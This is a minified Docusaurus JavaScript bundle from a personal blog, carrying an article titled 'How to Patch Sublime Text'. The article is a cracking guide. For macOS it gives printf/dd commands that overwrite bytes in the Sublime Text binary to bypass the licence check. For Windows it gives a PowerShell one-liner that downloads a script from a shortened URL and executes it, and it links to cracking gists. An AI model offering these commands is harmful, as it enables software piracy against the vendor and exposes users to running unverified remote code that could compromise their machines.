PageSourceSearch

https://blog.yasitha.dev/assets/js/5eea3cf1.bb148961.js

js yasitha.dev collected 2026-10-09 23:03:36 UTC 3,315 bytes, 1 lines download raw bytes

1"use strict";(self.webpackChunkblog=self.webpackChunkblog||[]).push([[3878],{2456:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>r,contentTitle:()=>c,default:()=>d,frontMatter:()=>s,metadata:()=>i,toc:()=>l});const i=JSON.parse('{"id":"other/how-to-patch-sublime-text","title":"How to Patch Sublime Text","description":"How to Patch Sublime Text","source":"@site/docs/other/sublime-text-patch.md","sourceDirName":"other","slug":"/other/how-to-patch-sublime-text","permalink":"/other/how-to-patch-sublime-text","draft":false,"unlisted":false,"tags":[],"version":"current","lastUpdatedBy":"Yasitha Bogamuwa","lastUpdatedAt":1737287210000,"frontMatter":{"id":"how-to-patch-sublime-text","title":"How to Patch Sublime Text","description":"How to Patch Sublime Text","author":"Yasitha Bogamuwa"},"sidebar":"tutorialSidebar","previous":{"title":"How to Generate a ZERO-WIDTH Space Using HTML","permalink":"/other/generate-zero-width-space"}}');var o=n(4848),a=n(8453);const s={id:"how-to-patch-sublime-text",title:"How to Patch Sublime Text",description:"How to Patch Sublime Text",author:"Yasitha Bogamuwa"},c=void 0,r={},l=[{value:"Mac OS X (Build 3176)",id:"mac-os-x-build-3176",level:4},{value:"Windows",id:"windows",level:4}];function u(e){const t={a:"a",code:"code",h4:"h4",li:"li",ol:"ol",p:"p",pre:"pre",...(0,a.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(t.h4,{id:"mac-os-x-build-3176",children:"Mac OS X (Build 3176)"}),"\n",(0,o.jsx)(t.p,{children:"Run the following commands in the terminal, restart sublime text and then at the license prompt, enter any garbage, even a single letter, and click Use License"}),"\n",(0,o.jsx)(t.pre,{children:(0,o.jsx)(t.code,{className:"language-bash",children:"printf '\\xc3' | dd seek=$((0xae95)) conv=notrunc bs=1 of=/Applications/Sublime\\ Text.app/Contents/MacOS/Sublime\\ Text\n\nprintf '\\xc3' | dd seek=$((0xb2c6)) conv=notrunc bs=1 of=/Applications/Sublime\\ Text.app/Contents/MacOS/Sublime\\ Text\n\nprintf '\\x48\\xc7\\xc0\\x01\\x00\\x00\\x00\\xc3' | dd seek=$((0x85036)) conv=notrunc bs=1 of=/Applications/Sublime\\ Text.app/Contents/MacOS/Sublime\\ Text\n"})}),"\n",(0,o.jsx)(t.h4,{id:"windows",children:"Windows"}),"\n",(0,o.jsx)(t.p,{children:"Run the following commands in a Powershell terminal, and restart sublime text"}),"\n",(0,o.jsx)(t.pre,{children:(0,o.jsx)(t.code,{className:"language-bash",children:"'https://git.io/vpNim' | ? { icm { iwr $_ | iex } -arg $_ }\n"})}),"\n",(0,o.jsx)(t.p,{children:"References:"}),"\n",(0,o.jsxs)(t.ol,{children:["\n",(0,o.jsx)(t.li,{children:(0,o.jsx)(t.a,{href:"https://gist.github.com/vertexclique/9839383",children:"Cracking guide for Sublime Text 3"})}),"\n",(0,o.jsx)(t.li,{children:(0,o.jsx)(t.a,{href:"https://gist.github.com/mustelida",children:"Hexpatcher"})}),"\n"]})]})}function d(e={}){const{wrapper:t}={...(0,a.R)(),...e.components};return t?(0,o.jsx)(t,{...e,children:(0,o.jsx)(u,{...e})}):u(e)}},8453:(e,t,n)=>{n.d(t,{R:()=>s,x:()=>c});var i=n(6540);const o={},a=i.createContext(o);function s(e){const t=i.useContext(a);return i.useMemo((function(){return"function"==typeof e?e(t):{...t,...e}}),[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:s(e.components),i.createElement(a.Provider,{value:t},e.children)}}}]);

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.